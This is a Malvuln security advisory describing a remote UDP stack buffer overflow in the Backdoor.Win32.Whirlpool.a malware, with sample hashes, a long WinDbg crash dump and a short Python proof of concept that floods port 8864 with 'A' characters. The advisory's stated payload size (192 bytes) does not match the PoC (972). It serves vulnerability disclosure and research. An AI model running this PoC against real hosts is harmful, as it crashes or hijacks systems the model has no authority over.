Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/90171763d1cc62102b08482bac54ea8b.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Whirlpool.a Vulnerability: Remote Buffer Overflow - UDP Datagram Description: The malware listens on UDP Datagram ports 8848 and 8864. Sending a 192 byte payload to port 8864 triggers a classic stack buffer overflow overwriting ECX, EIP registers. This can allow third party attackers to further compromise already infected systems. Type: PE32 MD5: 90171763d1cc62102b08482bac54ea8b Vuln ID: MVID-2021-0232 ASLR: False DEP: False Safe SEH: True Disclosure: 05/30/2021 Memory Dump: (7a4.1b98): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=77279d70 esi=00000000 edi=00000000 eip=41414141 esp=000a13f8 ebp=000a1418 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Backdoor.Win32.Whirlpool.a.90171763d1cc62102b08482bac54ea8b.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Whirlpool.a.90171763d1cc62102b08482bac54ea8b.exe FAULTING_IP: Backdoor_Win32_Whirlpool_a_90171763d1cc62102b08482bac54ea8b+28ff 004028ff f3a5 rep movs dword ptr es:[edi],dword ptr [esi] EXCEPTION_RECORD: 0019f788 -- (.exr 0x19f788) ExceptionAddress: 004028ff (Backdoor_Win32_Whirlpool_a_90171763d1cc62102b08482bac54ea8b+0x000028ff) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 001a0000 Attempt to write to address 001a0000 PROCESS_NAME: Backdoor.Win32.Whirlpool.a.90171763d1cc62102b08482bac54ea8b.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000008 EXCEPTION_PARAMETER2: 41414141 WRITE_ADDRESS: 41414141 FOLLOWUP_IP: Backdoor_Win32_Whirlpool_a_90171763d1cc62102b08482bac54ea8b+28ff 004028ff f3a5 rep movs dword ptr es:[edi],dword ptr [esi] FAILED_INSTRUCTION_ADDRESS: +28ff 41414141 ?? ??? MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 IP_ON_HEAP: 41414141 The fault address in not in any loaded module, please check your build's rebase log at \bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 CONTEXT: 0019f7d8 -- (.cxr 0x19f7d8) eax=000003cc ebx=041d29b8 ecx=00000013 edx=0019fc80 esi=041d2d68 edi=001a0000 eip=004028ff esp=0019fc38 ebp=0019fc48 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 Backdoor_Win32_Whirlpool_a_90171763d1cc62102b08482bac54ea8b+0x28ff: 004028ff f3a5 rep movs dword ptr es:[edi],dword ptr [esi] Resetting default scope FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 LAST_CONTROL_TRANSFER: from 0048f6cd to 004028ff STACK_TEXT: 0019fc38 004028ff backdoor_win32_whirlpool_a+0x28ff 0019fc50 0048f6cd backdoor_win32_whirlpool_a+0x8f6cd 0019fcf8 41414141 unknown!printable+0x0 0019fcfc 41414141 unknown!printable+0x0 0019fd00 41414141 unknown!printable+0x0 0019fd04 41414141 unknown!printable+0x0 0019fd08 41414141 unknown!printable+0x0 0019fd0c 41414141 unknown!printable+0x0 0019fd10 41414141 unknown!printable+0x0 0019fd14 41414141 unknown!printable+0x0 0019fd18 41414141 unknown!printable+0x0 0019fd1c 41414141 unknown!printable+0x0 0019fd20 41414141 unknown!printable+0x0 0019fd24 41414141 unknown!printable+0x0 0019fd28 41414141 unknown!printable+0x0 0019fd2c 41414141 unknown!printable+0x0 0019fd30 41414141 unknown!printable+0x0 0019fd34 41414141 unknown!printable+0x0 0019fd38 41414141 unknown!printable+0x0 0019fd3c 41414141 unknown!printable+0x0 0019fd40 41414141 unknown!printable+0x0 0019fd44 41414141 unknown!printable+0x0 0019fd48 41414141 unknown!printable+0x0 0019fd4c 41414141 unknown!printable+0x0 0019fd50 41414141 unknown!printable+0x0 0019fd54 41414141 unknown!printable+0x0 0019fd58 41414141 unknown!printable+0x0 0019fd5c 41414141 unknown!printable+0x0 0019fd60 41414141 unknown!printable+0x0 0019fd64 41414141 unknown!printable+0x0 0019fd68 41414141 unknown!printable+0x0 0019fd6c 41414141 unknown!printable+0x0 0019fd70 41414141 unknown!printable+0x0 0019fd74 41414141 unknown!printable+0x0 0019fd78 41414141 unknown!printable+0x0 0019fd7c 41414141 unknown!printable+0x0 0019fd80 41414141 unknown!printable+0x0 0019fd84 41414141 unknown!printable+0x0 0019fd88 41414141 unknown!printable+0x0 0019fd8c 41414141 unknown!printable+0x0 0019fd90 41414141 unknown!printable+0x0 0019fd94 41414141 unknown!printable+0x0 0019fd98 41414141 unknown!printable+0x0 0019fd9c 41414141 unknown!printable+0x0 0019fda0 41414141 unknown!printable+0x0 0019fda4 41414141 unknown!printable+0x0 0019fda8 41414141 unknown!printable+0x0 0019fdac 41414141 unknown!printable+0x0 0019fdb0 41414141 unknown!printable+0x0 0019fdb4 41414141 unknown!printable+0x0 0019fdb8 41414141 unknown!printable+0x0 0019fdbc 41414141 unknown!printable+0x0 0019fdc0 41414141 unknown!printable+0x0 0019fdc4 41414141 unknown!printable+0x0 0019fdc8 41414141 unknown!printable+0x0 0019fdcc 41414141 unknown!printable+0x0 0019fdd0 41414141 unknown!printable+0x0 0019fdd4 41414141 unknown!printable+0x0 0019fdd8 41414141 unknown!printable+0x0 0019fddc 41414141 unknown!printable+0x0 0019fde0 41414141 unknown!printable+0x0 0019fde4 41414141 unknown!printable+0x0 0019fde8 41414141 unknown!printable+0x0 0019fdec 41414141 unknown!printable+0x0 0019fdf0 41414141 unknown!printable+0x0 0019fdf4 41414141 unknown!printable+0x0 0019fdf8 41414141 unknown!printable+0x0 0019fdfc 41414141 unknown!printable+0x0 0019fe00 41414141 unknown!printable+0x0 0019fe04 41414141 unknown!printable+0x0 0019fe08 41414141 unknown!printable+0x0 0019fe0c 41414141 unknown!printable+0x0 0019fe10 41414141 unknown!printable+0x0 0019fe14 41414141 unknown!printable+0x0 0019fe18 41414141 unknown!printable+0x0 0019fe1c 41414141 unknown!printable+0x0 0019fe20 41414141 unknown!printable+0x0 0019fe24 41414141 unknown!printable+0x0 0019fe28 41414141 unknown!printable+0x0 0019fe2c 41414141 unknown!printable+0x0 0019fe30 41414141 unknown!printable+0x0 0019fe34 41414141 unknown!printable+0x0 0019fe38 41414141 unknown!printable+0x0 0019fe3c 41414141 unknown!printable+0x0 0019fe40 41414141 unknown!printable+0x0 0019fe44 41414141 unknown!printable+0x0 0019fe48 41414141 unknown!printable+0x0 0019fe4c 41414141 unknown!printable+0x0 0019fe50 41414141 unknown!printable+0x0 0019fe54 41414141 unknown!printable+0x0 0019fe58 41414141 unknown!printable+0x0 0019fe5c 41414141 unknown!printable+0x0 0019fe60 41414141 unknown!printable+0x0 0019fe64 41414141 unknown!printable+0x0 0019fe68 41414141 unknown!printable+0x0 0019fe6c 41414141 unknown!printable+0x0 0019fe70 41414141 unknown!printable+0x0 0019fe74 41414141 unknown!printable+0x0 0019fe78 41414141 unknown!printable+0x0 0019fe7c 41414141 unknown!printable+0x0 0019fe80 41414141 unknown!printable+0x0 0019fe84 41414141 unknown!printable+0x0 0019fe88 41414141 unknown!printable+0x0 0019fe8c 41414141 unknown!printable+0x0 0019fe90 41414141 unknown!printable+0x0 0019fe94 41414141 unknown!printable+0x0 0019fe98 41414141 unknown!printable+0x0 0019fe9c 41414141 unknown!printable+0x0 0019fea0 41414141 unknown!printable+0x0 0019fea4 41414141 unknown!printable+0x0 0019fea8 41414141 unknown!printable+0x0 0019feac 41414141 unknown!printable+0x0 0019feb0 41414141 unknown!printable+0x0 0019feb4 41414141 unknown!printable+0x0 0019feb8 41414141 unknown!printable+0x0 0019febc 41414141 unknown!printable+0x0 0019fec0 41414141 unknown!printable+0x0 0019fec4 41414141 unknown!printable+0x0 0019fec8 41414141 unknown!printable+0x0 0019fecc 41414141 unknown!printable+0x0 0019fed0 41414141 unknown!printable+0x0 0019fed4 41414141 unknown!printable+0x0 0019fed8 41414141 unknown!printable+0x0 0019fedc 41414141 unknown!printable+0x0 0019fee0 41414141 unknown!printable+0x0 0019fee4 41414141 unknown!printable+0x0 0019fee8 41414141 unknown!printable+0x0 0019feec 41414141 unknown!printable+0x0 0019fef0 41414141 unknown!printable+0x0 0019fef4 41414141 unknown!printable+0x0 0019fef8 41414141 unknown!printable+0x0 0019fefc 41414141 unknown!printable+0x0 0019ff00 41414141 unknown!printable+0x0 0019ff04 41414141 unknown!printable+0x0 0019ff08 41414141 unknown!printable+0x0 0019ff0c 41414141 unknown!printable+0x0 0019ff10 41414141 unknown!printable+0x0 0019ff14 41414141 unknown!printable+0x0 0019ff18 41414141 unknown!printable+0x0 0019ff1c 41414141 unknown!printable+0x0 0019ff20 41414141 unknown!printable+0x0 0019ff24 41414141 unknown!printable+0x0 0019ff28 41414141 unknown!printable+0x0 0019ff2c 41414141 unknown!printable+0x0 0019ff30 41414141 unknown!printable+0x0 0019ff34 41414141 unknown!printable+0x0 0019ff38 41414141 unknown!printable+0x0 0019ff3c 41414141 unknown!printable+0x0 0019ff40 41414141 unknown!printable+0x0 0019ff44 41414141 unknown!printable+0x0 0019ff48 41414141 unknown!printable+0x0 0019ff4c 41414141 unknown!printable+0x0 0019ff50 41414141 unknown!printable+0x0 0019ff54 41414141 unknown!printable+0x0 0019ff58 41414141 unknown!printable+0x0 0019ff5c 41414141 unknown!printable+0x0 0019ff60 41414141 unknown!printable+0x0 0019ff64 41414141 unknown!printable+0x0 0019ff68 41414141 unknown!printable+0x0 0019ff6c 41414141 unknown!printable+0x0 0019ff70 41414141 unknown!printable+0x0 0019ff74 41414141 unknown!printable+0x0 0019ff78 41414141 unknown!printable+0x0 0019ff7c 41414141 unknown!printable+0x0 0019ff80 41414141 unknown!printable+0x0 0019ff84 41414141 unknown!printable+0x0 0019ff88 41414141 unknown!printable+0x0 0019ff8c 41414141 unknown!printable+0x0 0019ff90 41414141 unknown!printable+0x0 0019ff94 41414141 unknown!printable+0x0 0019ff98 41414141 unknown!printable+0x0 0019ff9c 41414141 unknown!printable+0x0 0019ffa0 41414141 unknown!printable+0x0 0019ffa4 41414141 unknown!printable+0x0 0019ffa8 41414141 unknown!printable+0x0 0019ffac 41414141 unknown!printable+0x0 0019ffb0 41414141 unknown!printable+0x0 0019ffb4 41414141 unknown!printable+0x0 0019ffb8 41414141 unknown!printable+0x0 0019ffbc 41414141 unknown!printable+0x0 0019ffc0 41414141 unknown!printable+0x0 0019ffc4 41414141 unknown!printable+0x0 0019ffc8 41414141 unknown!printable+0x0 0019ffcc 41414141 unknown!printable+0x0 0019ffd0 41414141 unknown!printable+0x0 0019ffd4 41414141 unknown!printable+0x0 0019ffd8 41414141 unknown!printable+0x0 0019ffdc 41414141 unknown!printable+0x0 0019ffe0 41414141 unknown!printable+0x0 0019ffe4 41414141 unknown!printable+0x0 0019ffe8 41414141 unknown!printable+0x0 0019ffec 41414141 unknown!printable+0x0 0019fff0 41414141 unknown!printable+0x0 0019fff4 41414141 unknown!printable+0x0 0019fff8 41414141 unknown!printable+0x0 0019fffc 41414141 unknown!printable+0x0 001a0000 41414141 unknown!printable+0x0 001a0004 78746341 unknown!printable+0x0 STACK_COMMAND: .cxr 000000000019F7D8 ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 19fc38 ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: backdoor_win32_whirlpool_a+28ff FOLLOWUP_NAME: MachineOwner MODULE_NAME: Backdoor_Win32_Whirlpool_a_90171763d1cc62102b08482bac54ea8b IMAGE_NAME: Backdoor.Win32.Whirlpool.a.90171763d1cc62102b08482bac54ea8b.exe DEBUG_FLR_IMAGE_TIMESTAMP: 2a425e19 BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_backdoor_win32_whirlpool_a+28ff FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Whirlpool.a.90171763d1cc62102b08482bac54ea8b.exe!Unknown Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=8864 def doit(): s=socket(AF_INET, SOCK_DGRAM) s.connect((MALWARE_HOST, PORT)) PAYLOAD="A"*972 s.send(PAYLOAD) s.close() print("Backdoor.Win32.Whirlpool.a / Remote Buffer Overflow - UDP Datagram") print("MD5: 90171763d1cc62102b08482bac54ea8b") print("Malvuln") if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).